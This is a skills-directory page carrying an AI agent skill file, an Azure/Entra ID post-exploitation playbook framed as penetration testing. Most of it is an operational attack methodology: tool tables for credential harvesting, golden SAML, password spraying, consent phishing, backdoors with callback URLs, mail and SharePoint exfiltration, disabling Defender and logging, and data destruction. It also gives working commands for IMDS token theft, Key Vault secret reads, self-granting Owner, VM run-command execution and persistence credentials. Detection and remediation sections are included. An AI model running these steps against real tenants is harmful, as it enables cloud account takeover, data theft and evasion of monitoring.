Skip to content
Back to skills

Azure Postexploit

BSecurity

Azure/Entra ID post-exploitation — 154 programs for tenant compromise, CIS compliance, identity attacks, data exfiltration, and M365 abuse

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
securitypythonrustgoshellbashsqlnodeawsgcpazure

Works with

  • cli
  • api

Security analysis

B88/100
  • criticalDownloads and executes remote scripts — classic supply chain attack

Pro shows the line behind each finding and how to fix it

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill azure-postexploit --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Azure Postexploit?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Azure Postexploit
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-azure-postexploit/badge)](https://www.skillsdirectory.com/skills/harezadmm-azure-postexploit)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: azure-postexploit
description: Azure/Entra ID post-exploitation — 154 programs for tenant compromise, CIS compliance, identity attacks, data exfiltration, and M365 abuse
category: post-exploitation
tags: [azure, entra-id, cloud, post-exploitation, keyvault, managed-identity, credential-access, persistence, token-abuse, compliance, cis-benchmark, identity, m365, impact]
tech_stack: [azure, az-cli]
cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284, CWE-200, CWE-312]
chains_with: [T1078.004, T1552.001, T1098.001, T1550.001, T1528, T1087.004, T1530, T1525, T1496, T1485]
prerequisites: [T1078.004]
version: "2.0"
---

# Azure/Entra ID Post-Exploitation Methodology

154 programs across 13 categories — from basic enumeration to advanced Entra ID attacks, CIS compliance auditing, and M365 exploitation. All operations use az CLI and Microsoft Graph API.

## Prerequisites

1. **Valid Azure credentials** — service principal, user credentials, managed identity, or access token
2. **az CLI installed** — `az version`
3. **Current identity** — verify access via `az account show`

```bash
# Quick prerequisite check
az account show    # verify Azure CLI credentials
az version         # verify CLI
```

## Kill Chain Phases

### Phase 1 — Situational Awareness (Recon: 47 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| Subscription enum | `azurehook subscription_enum` | Subscription details, quotas, spending |
| Resource graph | `azurehook resource_graph` | Cross-subscription resource queries |
| Entra ID enum | `azurehook entra_enum` | Users, groups, apps, SPs, conditional access |
| VM enum | `azurehook vm_enum` | VMs, public IPs, disks, extensions |
| Network enum | `azurehook vnet_enum` | VNets, subnets, peering, NSGs |
| NSG audit | `azurehook nsg_audit` | Overly permissive network rules |
| RBAC audit | `azurehook rbac_audit` | Role assignments, custom roles |
| SQL enum | `azurehook sql_enum` | SQL servers, databases, firewall rules |
| App Service | `azurehook app_service_enum` | App Service apps, auth, config |
| AKS | `azurehook aks_enum` | AKS clusters, nodegroups, RBAC |
| DNS | `azurehook dns_enum` | DNS zones, records, DNSSEC |
| Subdomain takeover | `azurehook subdomain_takeover` | Dangling CNAME detection |
| Public exposure | `azurehook public_exposure_scan` | Public IPs, storage, databases |
| Managed identity | `azurehook managed_identity` | Managed identity token harvest |
| Plus 33 more | `acr_enum`, `redis_enum`, `data_factory_enum`, `front_door_enum`, `apim_enum`, `databricks_enum`, `app_insights_enum`, `monitor_enum`, `sentinel_enum`, `vpn_gateway_enum`, etc. | Service-specific enumerators |

### Phase 2 — Credential Harvesting (14 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| Key Vault dump | `azurehook keyvault_dump` | Secrets, keys, certificates |
| Token abuse | `azurehook azuread_token --action foci` | FOCI token swap, PRT abuse |
| IMDS harvest | `azurehook imds_harvest` | Instance metadata credentials |
| Device code phish | `azurehook device_code_phish` | Device code phishing flow |
| Graph tokens | `azurehook graph_token_harvest` | Multi-resource token harvest |
| Storage keys | `azurehook storage_key_dump` | Storage account access keys |
| Automation creds | `azurehook automation_cred_dump` | Automation Account credentials |
| Kubeconfig | `azurehook kubeconfig_dump` | AKS admin kubeconfig |
| Webapp env | `azurehook webapp_env_dump` | App Service env variables |
| Plus 5 more | `token_theft`, `certificate_abuse`, `refresh_token_replay`, `runbook_cred_extract`, `webapp_env_dump` | Additional credential sources |

### Phase 3 — Privilege Escalation (11 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| Consent grant | `azurehook entra_privesc --method consent_grant` | Illicit consent grant |
| PIM activation | `azurehook pim_abuse` | Activate eligible admin roles |
| Global Admin | `azurehook global_admin_elevate` | Global Admin elevation |
| Custom role | `azurehook custom_role_exploit` | Exploit custom role definitions |
| CA bypass | `azurehook conditional_access_audit` | Find MFA gaps in CA policies |
| Managed identity | `azurehook managed_identity_privesc` | Over-privileged managed identities |
| App admin | `azurehook app_admin_privesc` | High-privilege app permissions |
| Plus 4 more | `deployment_privesc`, `resource_hierarchy_abuse`, `group_membership_abuse`, `partner_admin_abuse` | Additional escalation paths |

### Phase 4 — Identity Attacks (Entra ID: 10 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| Federation backdoor | `azurehook federation_backdoor --domain D --idp-url URL` | Golden SAML via federation trust |
| PTA abuse | `azurehook pta_abuse` | Pass-Through Authentication interception |
| AADConnect | `azurehook aadconnect_dump` | Sync account enumeration (DCSync) |
| Seamless SSO | `azurehook seamless_sso_abuse` | Silver ticket via AZUREADSSOACC |
| SAML forge | `azurehook saml_forge --domain D` | SAML config for token forging |
| MFA manipulation | `azurehook mfa_manipulation` | MFA method enum/manipulation |
| Password spray | `azurehook password_spray` | Entra ID password spraying |
| Consent phish | `azurehook consent_phish` | OAuth consent phishing |
| Plus 2 more | `user_creation`, `tenant_recon_insider` | Account creation, insider recon |

### Phase 5 — Lateral Movement (10 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| VM Run Command | `azurehook vm_run_command --vm NAME --command CMD` | Execute on VM via Run Command |
| Bastion tunnel | `azurehook bastion_tunnel` | Azure Bastion tunneling |
| Arc exec | `azurehook arc_exec` | Arc connected machine execution |
| Intune deploy | `azurehook intune_deploy` | Deploy scripts via Intune |
| Cross-tenant | `azurehook cross_tenant_enum` | B2B cross-tenant enumeration |
| DevOps | `azurehook devops_service_conn` | DevOps service connection abuse |
| Plus 4 more | `custom_script_ext`, `userdata_command`, `msbuild_exec`, `shared_image_inject` | Additional lateral paths |

### Phase 6 — Persistence (11 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| Runbook backdoor | `azurehook runbook_backdoor --automation-account NAME --resource-group RG` | Automation runbook backdoor |
| Logic App | `azurehook logic_app_backdoor --resource-group RG --name NAME --callback-url URL` | HTTP-triggered callback |
| Function App | `azurehook function_app_backdoor --resource-group RG --name NAME --callback-url URL` | Function App with exfil |
| SP persist | `azurehook sp_persist` | Service principal credentials |
| VM extension | `azurehook vm_extension_backdoor` | Custom script extension |
| Lighthouse | `azurehook lighthouse_persist` | Cross-tenant Lighthouse persist |
| Plus 5 more | `webhook_persist`, `devops_pipeline_backdoor`, `acr_image_backdoor`, `scheduled_task_persist`, `oauth_app_persist` | Additional persistence |

### Phase 7 — Data Exfiltration (12 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| Storage dump | `azurehook storage_dump` | Blob Storage data exfil |
| Cosmos DB | `azurehook cosmos_dump --account NAME` | Cosmos DB keys and data |
| Disk snapshot | `azurehook disk_snapshot` | Managed disk offline analysis |
| Graph mail | `azurehook graph_mail_dump` | Exchange Online mail via Graph |
| SharePoint | `azurehook sharepoint_dump` | SharePoint document exfil |
| Teams dump | `azurehook teams_dump` | Teams channel messages |
| Plus 6 more | `table_queue_dump`, `file_share_dump`, `data_lake_dump`, `service_bus_sniff`, `event_hub_tap`, `vm_disk_download` | Additional data sources |

### Phase 8 — M365 Exploitation (4 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| Exchange abuse | `azurehook exchange_abuse` | Mailbox rules, forwarding, delegation |
| SharePoint enum | `azurehook sharepoint_enum` | SharePoint sites, document libraries |
| Teams enum | `azurehook teams_enum` | Teams channels, messages |
| OneDrive access | `azurehook onedrive_access` | OneDrive files and shared items |

### Phase 9 — Defense Evasion (11 programs)

| Action | Command | Purpose |
|--------|---------|---------|
| Diagnostic tamper | `azurehook diagnostic_tamper` | Disable diagnostic settings |
| Sentinel suppress | `azurehook sentinel_suppress` | Suppress analytics rules |
| Defender disable | `azurehook defender_disable` | Disable Defender plans |
| Activity log | `azurehook activity_log_tamper` | Tamper activity log settings |
| Policy exempt | `azurehook policy_exempt` | Create policy exemptions |
| WAF bypass | `azurehook waf_bypass` | Modify/disable WAF rules |
| Plus 5 more | `alert_suppress`, `log_analytics_tamper`, `nsg_flow_log_disable`, `resource_move`, `tag_manipulation` | Additional evasion |

### Phase 10 — Compliance Audit (CIS Azure v3.0: 18 programs)

| Action | Command | CIS Control |
|--------|---------|-------------|
| Defender plans | `azurehook defender_plan_audit` | CIS 2.1 |
| Security contacts | `azurehook defender_contact_audit` | CIS 2.1.x |
| Storage security | `azurehook storage_security_audit` | CIS 4.1-4.17 |
| SQL audit | `azurehook sql_audit_config` | CIS 5.1.1-5.1.7 |
| PostgreSQL | `azurehook postgres_audit` | CIS 4.3.x |
| MySQL | `azurehook mysql_audit` | CIS 4.4.x |
| Cosmos DB | `azurehook cosmos_security_audit` | CIS 4.5.x |
| Diagnostics | `azurehook diagnostic_audit` | CIS 5.1 |
| Activity alerts | `azurehook activity_alert_audit` | CIS 5.2 |
| Network Watcher | `azurehook network_watcher_audit` | CIS 6.5 |
| VM security | `azurehook vm_security_audit` | CIS 7.x |
| App Service | `azurehook appservice_security_audit` | CIS 9.x |
| Key Vault | `azurehook keyvault_security_audit` | CIS 8.x |
| Identity MFA | `azurehook identity_mfa_audit` | CIS 1.1-1.3 |
| Guest access | `azurehook guest_access_audit` | CIS 1.5 |
| Password policy | `azurehook password_policy_audit` | CIS 1.8-1.11 |
| Resource locks | `azurehook resource_lock_audit` | CIS 8.5 |
| Policy compliance | `azurehook policy_compliance_audit` | Azure Policy |

### Phase 11 — Impact Assessment (5 programs)

| Action | Command | MITRE |
|--------|---------|-------|
| Resource hijack | `azurehook resource_hijack` | T1496 |
| Data destroy | `azurehook data_destroy` | T1485 |
| Ransomware sim | `azurehook ransomware_sim` | T1486 |
| Account lockout | `azurehook account_lockout` | T1531 |
| Service disruption | `azurehook service_disruption` | T1489 |

### Phase 12 — Cleanup (MANDATORY)

```
azurehook cleanup_azure
```

## Detection Considerations

- **Azure Activity Log** — All ARM API calls, role assignments, resource creation
- **Entra ID Audit Logs** — App consent grants, credential additions, role activations
- **Microsoft Defender for Cloud** — Anomalous resource access, privilege escalation
- **Conditional Access** — Untrusted location/device blocks
- **Azure Sentinel** — UEBA, anomalous sign-in patterns, bulk data access
- **Microsoft Graph Activity Logs** — Graph API access to mail, files, teams

## Program Reference

| Program | Technique | MITRE ATT&CK |
|---------|-----------|---------------|
| entra_enum | Entra ID tenant enumeration | T1087.004 |
| subscription_enum | Subscription discovery | T1580 |
| resource_graph | Cross-subscription queries | T1580 |
| keyvault_dump | Key Vault secret extraction | T1555.006 |
| storage_dump | Azure Storage data exfiltration | T1530 |
| managed_identity | Managed identity token harvest | T1552.005 |
| azuread_token | Token manipulation and FOCI abuse | T1550.001 |
| entra_privesc | Privilege escalation via consent/PIM | T1098.001 |
| federation_backdoor | Federation trust manipulation | T1484.002 |
| pta_abuse | PTA credential interception | T1556.007 |
| aadconnect_dump | AADConnect sync account abuse | T1003.006 |
| runbook_backdoor | Automation Account persistence | T1525 |
| vm_run_command | VM Run Command execution | T1059.006 |
| diagnostic_tamper | Disable diagnostic settings | T1562.008 |
| sentinel_suppress | Suppress Sentinel analytics | T1562.001 |
| resource_hijack | Resource hijacking/cryptomining | T1496 |
| exchange_abuse | Exchange Online abuse | T1114.002 |
| cleanup_azure | Resource removal and restoration | T1070 |
---

## Evidence Standard

Every claim in an Azure/Entra ID post-exploitation report must be reproducible from the same starting
principal. Azure findings are easy to overstate because the ARM control plane and the Entra ID
identity plane are separate authorities: a token that reads subscriptions proves nothing about
directory write access.

| Item | Command | Why |
|---|---|---|
| Foothold identity | `az account show`; `az ad signed-in-user show` | subscription/tenant and whether you hold a user, SP, or managed identity |
| Token audience | `az account get-access-token --resource https://management.azure.com --query expiresOn` | a management-plane token is not a Graph token |
| Effective role assignments | `az role assignment list --assignee OBJECT_ID --all -o table` | the artefact that granted the escalation |
| Deny assignments | `az rest --method get --url "https://management.azure.com$SCOPE/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"` | a deny assignment makes a broad role inert |
| Managed identity reach | `curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"` | the IMDS artefact; note the `client_id` in the response |
| Escalation proof | `az role assignment list` before and after, with the new assignment's `id` | shows the boundary moved |
| Directory role scope | `az rest --method get --url https://graph.microsoft.com/v1.0/me/memberOf` | `Global Reader` is not `Global Administrator` |
| Conditional Access posture | `az rest --method get --url https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies` | explains why a token works from one host and not another |
| Key Vault reach | `az keyvault secret list --vault-name V -o table` | listing is not reading; read and report a redacted value |

### Verify the identity — and what the token is actually for

```bash
# Who am I, in which tenant, against which subscription
az account show
az ad signed-in-user show --query '{upn:userPrincipalName,id:id}'

# A management-plane token is NOT a Graph token — get both, note the audience
az account get-access-token --resource https://management.azure.com --query '{exp:expiresOn}' -o table
az account get-access-token --resource https://graph.microsoft.com  --query '{exp:expiresOn}' -o table
```

### Harvest the managed identity from IMDS (the artefact on a VM or AKS node)

```bash
# Both the ARM and the Graph audience, because RBAC and directory scope are separate
curl -s -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq '{client_id, expires_on, resource}'

curl -s -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" \
  | jq -r .access_token
```

### Prove reach, not permission

```bash
# The token works — now use az rest to ask the control plane the question directly
TOKEN=$(curl -s -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r .access_token)

az rest --method get \
  --url "https://management.azure.com/subscriptions?api-version=2022-12-01" \
  --headers "Authorization=Bearer $TOKEN" --query 'value[].{id:id,state:state}' -o table
```

```bash
# Is the apparent role assignment real, or blocked by a deny assignment / PIM eligibility?
az role assignment list --assignee PRINCIPAL_ID --all -o table
az rest --method get \
  --url "https://management.azure.com/subscriptions/SUB_ID/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01" \
  --query 'value[].{name:properties.roleDefinitionId,scope:properties.scope,principal:properties.principalId}' -o table
```

**The `az account show` output paired with the role-assignment artefact and the executed action is the
finding.** "The managed identity had Contributor" is an observation; "the node's managed identity
carried `Contributor` at subscription scope with no deny assignment, so `az rest` against
`/subscriptions` returned all subscriptions and `az vm run-command invoke` executed on `vm-prod-01`,
confirmed by `az role assignment list --assignee` before and after" is a finding.

**False positives — exclude each of these explicitly:**

- **A management-plane token used to claim directory access.** ARM and Graph are separate audiences.
  Prove a directory claim with a Graph token against `/me/memberOf` or the specific endpoint.
- **A role assignment that is PIM-eligible but not active.** `az role assignment list` shows active
  assignments; an eligible-but-inactive PIM role grants nothing until activated. Prove activation.
- **A deny assignment in Azure Blueprints that overrides the RBAC grant.** Read the deny assignments
  at the scope before claiming the permission works.
- **IMDS reachable but the identity has no role.** Metadata reach is not access; call ARM and report
  the returned `AuthorizationFailed` verbatim.
- **`Global Reader` reported as administrative access.** Reader cannot modify. State the exact role.
- **A Conditional Access policy blocking the token in practice.** A token minted from an untrusted
  location may be rejected by a CA policy even though the directory role exists.
- **A Key Vault you can list but not read.** Listing secrets is metadata access; only a successful
  `secret show` proves credential access, and its value should be redacted to first/last 4 characters.

Record an executed role assignment change or successful secret read as SOLID. Record a role that
appears broad but was not exercised as PLAUSIBLE until you call the API. Record a claim refuted by a
deny assignment or CA policy as OVERSTATED.

### Detection and log integrity

| Source | What it records |
|---|---|
| Azure Activity Log | every ARM call, the caller identity, and the source IP |
| Entra ID audit logs | app consent grants, credential additions, role activations |
| Microsoft Graph activity logs | Graph access to mail, files, and teams |
| Defender for Cloud | anomalous resource access and privilege escalation |
| Sentinel / UEBA | anomalous sign-in patterns and bulk data access |
| Conditional Access | the device and location conditions applied to each token |

---

## Remediation Reference

1. **Apply least privilege to managed identities and service principals.** A managed identity is a
   credential with no human in the loop — scope it to a resource group or single resource, never the
   subscription. Audit with `az role assignment list --all --assignee` for each identity and remove
   `Owner` and `Contributor` wherever a narrower built-in role exists.
2. **Remove standing administrative access and enforce PIM.** Eligible, time-bound, approval-gated
   activation removes the persistent `Global Administrator` target that consent-grant and
   token-theft attacks rely on. Require MFA and justification on activation, and alert on activation.
3. **Rotate and expire credentials using a deployment pipeline, not `az ad sp credential reset` by
   hand.** Query and remove long-lived secrets and certificates on app registrations and service
   principals; prefer workload identity federation or managed identities over client secrets
   entirely. Assume every credential observed during the engagement is compromised.
4. **Enforce Conditional Access on every identity, including service principals.** Require compliant
   or Entra-joined devices for administrative roles, block legacy authentication, and apply a CA
   policy to workload identities where the control plane supports it. A CA policy that does not cover
   the identity you escalated with is not a control.
5. **Constrain Key Vault and storage reach.** Use RBAC (not access policies) for vault access, enable
   purge protection and soft delete, prefer private endpoints, and disable public network access.
   Rotate storage account keys that were readable during the engagement — a storage key bypasses
   every identity control on the data plane.
6. **Harden and centralise diagnostics.** Route Activity Log, Entra ID audit, and Graph activity logs
   to an immutable, centrally controlled Log Analytics workspace or storage account in a separate
   subscription. Alert on diagnostic-setting deletion, `Microsoft.Authorization/roleAssignments/write`,
   app credential additions, and consent grants.
7. **Detect the high-signal operations.** Alert on new federation trusts (`Set domain authentication`
   with an attacker IdP URL), on `Add servicePrincipal` credential operations, on PIM activation
   outside a baseline, and on VM Run Command / Custom Script Extension execution outside change
   windows — these are the persistence and lateral primitives in this file.
8. **Govern OAuth consent.** Restrict user consent to verified publishers, require admin consent, and
   audit `oauth2PermissionGrants` for illicit consent grants. An app with `Mail.Read` or
   `Files.ReadWrite.All` is a lasting data-access path that no password rotation removes.
9. **Enforce resource locks and export governance on data stores.** `CanNotDelete` locks and Azure
   Policy deny effects turn the impact techniques (resource hijack, data destroy) from available
   primitives into blocked ones.

---

## Related Routing

- [azure-postexploit](../azure-postexploit/SKILL.md) · [aws-postexploit](../aws-postexploit/SKILL.md) · [gcp-postexploit](../gcp-postexploit/SKILL.md) — the sibling cloud playbooks
- [k8s-postexploit](../k8s-postexploit/SKILL.md) — AKS kubeconfig and node identity follow-on
- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) — the on-premises half of a hybrid Entra ID environment
- [cloud-assessment](../cloud-assessment/SKILL.md) — exposure before exploitation
- [security-reporting-and-documentation](../security-reporting-and-documentation/SKILL.md) — reporting identity-plane and control-plane findings separately
- [evidence-standard](../../core-subjects/evidence-standard.md) · [verdict-hierarchy](../../core-subjects/verdict-hierarchy.md) — claim grading
- [cloud](../../core-subjects/cloud.md) — cloud-scope doctrine

---

---

---

## 7. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | What **identity** is the credential, from the provider's own `az account show` or Graph `me`? | the tenant and principal |
| 2 | Which **roles and scopes** are assigned, directly and through groups? | the permission surface |
| 3 | Did the **control identity fail** the same call you succeeded at? | escalation, not base permission |
| 4 | Did you **read a real resource** (a key vault secret, a storage blob, a database)? | impact |
| 5 | For a managed-identity token: what did the **token audience** grant? | the scope of a stolen identity |
| 6 | Did you reach **multiple subscriptions or tenants**? | blast radius |
| 7 | Is the credential **still valid**, and can it obtain a fresh token? | live impact |

**A role assignment plus a resource read is the bar.** `az role assignment list` output is a
configuration statement; a secret read from a key vault is the finding.

---

## 8. EXECUTION PRIMITIVES

Azure post-exploitation is proven by **reading a resource as a principal you hold or escalated into**.
Every block ends at data.

### 8.1 Identity, tenant, and the control

```bash
# identity and tenant
az account show --query '{sub:id,tenant:tenantId,user:user.name}' -o json
az ad signed-in-user show --query '{upn:userPrincipalName,id:id}' -o json 2>/dev/null
# and as a service principal or managed identity, the identity comes from the token
az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv 2>/dev/null \
  | cut -d. -f2 | base64 -d 2>/dev/null | head -c 400; echo
# the control: a call that SHOULD be denied at this privilege level
az role assignment list --all --query 'length(@)' -o tsv 2>&1 | head -3
az keyvault list --query 'length(@)' -o tsv 2>&1 | head -3
```

**Record the tenant ID, the principal, and the failing control first.** Entra ID findings are scoped to
a tenant, and the principal ID is what the client will revoke.

### 8.2 Enumerate the permission surface

```bash
# what roles does this principal hold, and at what scope
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv 2>/dev/null)" \
  --all --query '[].{role:roleDefinitionName,scope:scope}' -o table 2>/dev/null | head -20
# and the groups that carry the roles
az ad user get-member-groups --id "$(az ad signed-in-user show --query id -o tsv 2>/dev/null)" 2>/dev/null | head -20
# the resource inventory, which is what the roles actually reach
az resource list --query '[].{name:name,type:type,rg:resourceGroup}' -o table 2>/dev/null | head -30
az vm list --query '[].{name:name,rg:resourceGroup,id:id}' -o table 2>/dev/null | head -20
```

**Map each role to its scope.** "Contributor on the subscription" is the finding shape; "Contributor on
resource group `prod-rg` only" is a materially different one, and the table shows which.

### 8.3 Reading the resources that matter

```bash
# key vault: list, then READ a secret - the read is the finding
az keyvault list --query '[].{name:name,rg:resourceGroup}' -o table 2>/dev/null | head -10
az keyvault secret list --vault-name VAULT --query '[].{name:name,enabled:attributes.enabled}' -o table 2>/dev/null | head -20
az keyvault secret show --vault-name VAULT --name SECRET --query value -o tsv 2>/dev/null | head -c 200; echo
# and the keys and certificates, which are a different permission and a bigger impact
az keyvault key list --vault-name VAULT --query '[].kid' -o tsv 2>/dev/null | head -10
# storage: the account keys, which grant full data-plane access
az storage account list --query '[].{name:name,rg:resourceGroup}' -o table 2>/dev/null | head -10
az storage account keys list --account-name ACCT --query '[0].value' -o tsv 2>/dev/null | head -c 60; echo
az storage container list --account-name ACCT --auth-mode key --query '[].name' -o tsv 2>/dev/null | head -10
```

**A key vault secret value or a storage account key is the finding.** Listing vaults is reconnaissance;
`secret show --query value` returning content is the impact.

### 8.4 Managed identity and the IMDS-equivalent

```bash
# from an Azure host: the managed identity token endpoint needs only a header
curl -sS -H Metadata:true --noproxy '*' \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | head -c 400; echo
# decode the token to see exactly which principal it is and what it can do
TOK=$(curl -sS -H Metadata:true --noproxy '*' \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | python3 -c 'import json,sys;print(json.load(sys.stdin)["access_token"])' 2>/dev/null)
python3 -c "
import base64,json,sys
p='$TOK'.split('.')[1]; p+='='*(-len(p)%4)
d=json.loads(base64.urlsafe_b64decode(p))
print('oid:',d.get('oid'),'| appid:',d.get('appid'),'| roles:',d.get('roles'),'| exp:',d.get('exp'))" 2>/dev/null
# and any user-assigned identities attached to the VM, which are separate principals
curl -sS -H Metadata:true --noproxy '*' \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/&client_id=CLIENT_ID" | head -c 200; echo
```

**The `oid` in the decoded token names the principal, and the `roles` array is its permission set.** A
token you never used against a resource is the surface; a `keyvault secret show` with it is the finding.

### 8.5 Escalation paths, each tested and then reverted

```bash
# 1) a principal with User Access Administrator can grant itself Owner
az role assignment create --assignee "$(az ad signed-in-user show --query id -o tsv)" \
  --role Owner --scope /subscriptions/SUBID 2>&1 | head -3
# 2) an application with a client secret you can read can authenticate as that application
az ad app list --query '[].{name:displayName,appId:appId}' -o table 2>/dev/null | head -10
az ad app credential list --id APPID 2>/dev/null | head -10
# 3) a runbook or automation account with a managed identity, reachable from a Contributor role
az automation account list --query '[].{name:name,rg:resourceGroup}' -o table 2>/dev/null | head -10
# 4) the VM extension or run-command primitive, which is code execution on a host
az vm run-command invoke -g RG -n VM --command-id RunShellScript --scripts 'id; hostname' 2>&1 | head -20
```

**Every granted assignment must be deleted in the same session, with the deletion verified.** Record the
creating call and the deleting call; a left-behind `Owner` assignment is an incident.

### 8.6 Run-command and the crossover to a host

```bash
# the highest-yield Azure primitive: command execution on a VM through the control plane
az vm run-command invoke -g RG -n VM --command-id RunShellScript \
  --scripts 'curl -sS -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | head -c 200' 2>&1 | tail -20
# and the same against a VM scale set
az vmss run-command invoke -g RG -n VMSS --instance-id 0 --command-id RunShellScript --scripts 'whoami' 2>&1 | tail -10
# then use the host identity, which is the finding
az keyvault secret show --vault-name VAULT --name SECRET --query value -o tsv 2>/dev/null | head -c 120; echo
```

**`run-command` returning host output is the finding**, because a Contributor role on a VM is code
execution on that VM by design - the value is naming the identity it produces and what that identity
reaches.

### 8.7 Persistence, then removal

```bash
# create a credential on an application, verify it, use it, then REMOVE it
az ad app credential reset --id APPID --display-name pentest --years 1 --query '{appId:appId,password:password}' -o json 2>/dev/null | head -c 300
# verify the new credential authenticates
az login --service-principal -u APPID -p 'PASSWORD' --tenant TENANT 2>&1 | head -3
# and remove it, then verify the removal
az ad app credential list --id APPID --query '[].{name:displayName,keyId:keyId}' -o table
az ad app credential delete --id APPID --key-id KEYID
az ad app credential list --id APPID --query '[].displayName' -o tsv
```

**A persistence credential that is not removed is an incident.** The final `credential list` no longer
showing it is the evidence that the cleanup happened.

### 8.8 A harness that pairs escalation with its control and cleanup

```bash
python3 - <<'PY'
import subprocess, shlex, json
def az(cmd, timeout=60):
    try:
        r = subprocess.run(shlex.split("az " + cmd), capture_output=True, text=True, timeout=timeout)
        return r.returncode == 0, (r.stdout + r.stderr).strip()
    except Exception as e:
        return False, str(e)

ok, who = az("account show --output json")
print("account:", who[:200] if ok else who[:120])
if not ok:
    print("not authenticated - stop here"); raise SystemExit

print()
print("CONTROL - calls expected to fail at this privilege level:")
for c in ["role assignment list --all", "keyvault list", "storage account list"]:
    ok2, out = az(c + " --query length(@) -o tsv", 30)
    print("  %-30s %s" % (c, ("ALLOWED " + out[:20]) if ok2 else "denied"))

print()
print("READS - one resource per service, which is what proves impact:")
for name, c in [("resource-groups", "group list --query [].name -o tsv"),
                ("vms", "vm list --query [].name -o tsv"),
                ("keyvaults", "keyvault list --query [].name -o tsv")]:
    ok3, out = az(c, 60)
    print("  %-14s %s %s" % (name, "OK  " if ok3 else "FAIL", (out[:80] if ok3 else out[:60])))

print()
print("Report: tenant ID, principal ID, the control results, and each read with its row count.")
print("Delete every role assignment you created and every credential; verify both deletions.")
PY
```

**Tenant, principal, control, read, revert.** A report missing the control or the deletion evidence is
incomplete.

---

## 9. EVIDENCE STANDARD

| Item | Why |
|---|---|
| The **tenant ID and principal ID** | the scope and the object to revoke |
| The **control call result** at the base privilege | proves escalation |
| The **role assignment with its scope** behind each permission | the fix location |
| The **resource read** with a redacted sample | impact |
| For a managed identity: the **decoded token's `oid` and `roles`** | it names the principal and its power |
| For `run-command`: that a **Contributor role is code execution** and what it produced | the escalation named |
| The **Entra ID sign-in and audit records** the activity generated | the blue-team half |
| The **deletion of every assignment and credential**, verified | engagement integrity |
| The credential's **expiry** and whether it remains usable | live impact |
| Confirmation that no **secret value** is reproduced in full | no unnecessary disclosure |

Report the **principal and the read**: "the VM `web01` in `prod-rg` carries a system-assigned managed
identity with `oid 5c...`; the IMDS token endpoint (`169.254.169.254/metadata/identity/oauth2/token`)
returned a management-plane token without any credential, and its `roles` claim is `Contributor` at the
subscription scope; `az vm run-command invoke --command-id RunShellScript --scripts 'id'` returned
`uid=0(root)`, and the identity read `prod-kv/api-db-password` with `keyvault secret show`; the same
calls with the engagement read-only principal are `Forbidden`", never "managed identity is
over-permissioned".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| A role assignment you **never exercised** | a statement, not access |
| `az account show` succeeding | every authenticated principal can do it |
| A `Forbidden` on a resource | the control working |
| A key vault you can **list but not read secrets from** | test the read, report the denial |
| An IMDS token endpoint reachable but returning a **useless audience** | check what the token unlocks |
| A **Contributor role on a resource group with nothing in it** | verify the contents before claiming impact |
| A **Reader** role on a subscription | read is the grant; escalation needs more |
| Subscription access held by an **engagement-provided principal** | in-scope, not escalation |
| `az ad app credential list` returning **existing credentials** | their existence is not your access |
| A finding against a **personal tenant** | tests your own environment |
| A secret value reproduced in full | a disclosure |

**Read a resource, or it is not a finding.** Azure produces long role-assignment tables; they are the
inventory, not the report.

---

## 10. REMEDIATION REFERENCE

1. **Apply least privilege to every managed identity, and prefer resource-scoped roles to subscription-scoped ones** - a subscription `Contributor` is code execution on every VM in it.
2. **Treat `Contributor` plus `run-command` as code execution, and restrict who holds it** - the control plane is the attack surface when it can run scripts on hosts.
3. **Require managed identities rather than stored credentials, and eliminate client secrets with long expiries** - a secret that does not exist cannot be stolen.
4. **Restrict key vault access with access policies or RBAC, enable soft delete and purge protection, and alert on `SecretGet`** - the vault is the concentration of value.
5. **Rotate storage account keys and prefer Azure AD data-plane authorization over shared keys** - account keys bypass the entire RBAC model.
6. **Restrict `User Access Administrator` and `Owner` assignments, and alert on `role assignment create`** - it is one call from full control.
7. **Enable Microsoft Defender for Cloud and Entra ID Protection, and route sign-in and audit logs to a workspace in a separate subscription** - the logs are the detection and the scope.
8. **Restrict which principals can authenticate as which applications, and review app credentials quarterly** - an app credential you can read is an identity you can become.
9. **Require MFA and conditional access for all interactive sign-ins, and block legacy authentication** - it closes the simplest credential paths.
10. **Review guest access and cross-tenant collaboration settings** - external principals are the quiet path between tenants.
